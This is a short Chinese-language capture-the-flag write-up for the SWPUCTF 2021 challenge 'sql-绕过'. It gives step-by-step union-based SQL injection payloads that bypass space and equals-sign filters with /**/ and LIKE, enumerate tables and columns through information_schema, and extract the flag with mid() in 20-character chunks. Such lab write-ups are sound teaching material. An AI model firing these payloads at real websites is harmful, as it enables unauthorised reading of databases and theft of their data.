[SWPUCTF 2021 新生赛]sql-绕过

1.测试

```
# 按照标题参数wllm
?wllm=1 -- 正常
?wllm=1' -- 报错
?wllm=1'%23 -- 正常
?wllm=-1'or 1=1%23 -- 发现有过滤

```

2.测试过滤

```
# 测试过滤
空格，等号
空格=>/**/
等号=>like

```

3.注入过程

```
# 测试长度
?wlmm=1'order/**/by/**/3%23 -- 正常
?wlmm=1'order/**/by/**/4%23 -- 错误

-- 测试长度为3
# 测试回显
?wlmm=-1'union/**/select/**/1,2,3%23 # 2,3回显位置

# 查库
?wllm=-1'union/**/select/**/1,2,database()%23 # test_db

# 查表
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
-- LTLT_flag,users
# 查列
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
-- id,flag,id,username
# 查内容
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23
```

```
-- NSSCTF{e99758c1-d31b
# 位数长度不足
使用截断函数进行绕过，substr，right，REVERSE 被过滤（测试出来的），只能用mid
# mid截取，因为回显只能有20个，所以20，一组截取
wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),20,20)/**/from/**/tes
t_db.LTLT_flag%23
# 需要读三组
NSSCTF{e99758c1-d31b-4497-8d44-abfe84caa0ed}
```